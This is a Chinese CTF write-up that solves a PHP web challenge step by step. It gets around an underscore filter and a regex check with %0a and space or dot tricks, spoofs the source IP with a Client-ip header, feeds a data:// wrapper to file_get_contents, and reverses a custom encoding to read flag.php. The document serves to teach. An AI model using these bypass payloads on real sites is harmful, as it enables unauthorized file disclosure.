打开环境，啥都没发现：

 

 F12看到一些源码：

<!--
//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
!-->

$_SERVER['QUERY_STRING']是用来查询（query）的字符串，它等于URL 中第一个问号 ? 之后的内容，例如：http://localhost/aaa/?p=222，$_SERVER[‘QUERY_STRING’] = “p=222”;

然后看第一个if是“||”，也就是说两个条件满足其中一个就为真，substr_count()函数计算子串在字符串中出现的次数，这里计算$query中出现“_”和"%5f"的次数,也就是说不能出出现"_"和它的url编码%5f，如果出现就会结束程序。

第二个if是&&，也就是说都要满足才为真，需要传递一个参数b_u_p_t（但是这个参数是有下划线的_），但是b_u_p_t值不能完全等于23333，b_u_p_t值的开头必须是23333 正则表达式的^，b_u_p_t值的结尾也需要是23333 正则表达式的$。

总的来说就是要绕过第一个if而成功执行第二个if，不能有下滑线，那就只有用其他字符替换它，这里用空格，%20和点都可以绕过，这样就饶过了第一个。第二个因为正则匹配中’^‘和’$'代表的是行的开头和结尾,所以能利用换行绕过%0a

这三种都行：
?b%20u%20p%20t=23333%0a
?b u p t=23333%0a
?b.u.p.t=23333%0a

得到提示：

 我们访问secrettw.php：

 在源码中又发现了jsfuck密码：

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-->

解密得到：post me Merak

提示我们给Merak post传值，那我们就随便传值：

得到源码： 

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); // ini_set用来设置php.ini的值，在函数执行的时候生效，脚本结束后，设置失效。无需打开php.ini文件，就能修改配置，对于虚拟空间来说，很方便。 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){
    $v = base64_decode($v);
    $re = '';
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr(ord($v[$i]) + $i*2); //ord函数返回字符的ASCII码值，chr函数返回相对应于ascii所指定的单个字符，两个函数互补
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();

if($ip!='127.0.0.1')
    echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
    echo "Your REQUEST is:".change($_GET['file']);
    echo file_get_contents(change($_GET['file'])); 
}

?>  

分析代码，i p = g e t I p ( ) ; 应 该 是 使 用 了 头 部 的 t a k e i p . p h p 中 的 函 数 来 获 取 客 户 端 i p ， 再 将 获 取 到 的 i p 赋 值 给 变 量 ip = getIp()；

IP地址如果不为为127.0.0.1，否则输出"Sorry,you don't have permission!  Your ip is :".$ip；IP地址为127.0.0.1且2333GET传值后经过file_get_contents函数处理后要等于'todat is a happy day'，我们一看到file_get_contents函数，就应该想到伪协议，这里可以用data伪协议绕过，并用Client-ip伪造IP为127.0.0.1(本题无法用xff)，这里可以用一个叫ModHeader的插件，如何下载可以看一下这篇文章：火狐浏览器安装Modify Headers ----------- 修改请求头插件_若丶时光破灭的博客-CSDN博客

也可以在bp上抓包直接添加：Client-ip: 127.0.0.1

secrettw.php?2333=data://text/plain,todat is a happy day

还有file没有传参，flie就是用来传flag.php的，但是这个flag是经过change加密的，我们需要解密回去：

function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}

首先定义用法，然后将变量进行base64解码（这说明后面POST参数file的值必须先进行base64编码），然后通过一段for循环，这段for循环的作用是先将字符转换为ASCII码，再将ASCII码逐步+$i*2，$i初始值为0，然后再转回字符
其中strlen函数作用是计算字符的数目，chr是把ASCII转成字符，ord是把字符转成ASCII数字

加密过程很简单，想要解密的话只需要将+改成-即可：

<?php
function unchange($v){ 

    $re = '';
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) - $i*2 ); 
    } 
    return $re; 
}



$real_flag = unchange('flag.php');

echo base64_encode($real_flag);
?>

得到：ZmpdYSZmXGI=

所以最后Get传值：

secrettw.php?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI=

加上Client-ip:127.0.0.1得到答案：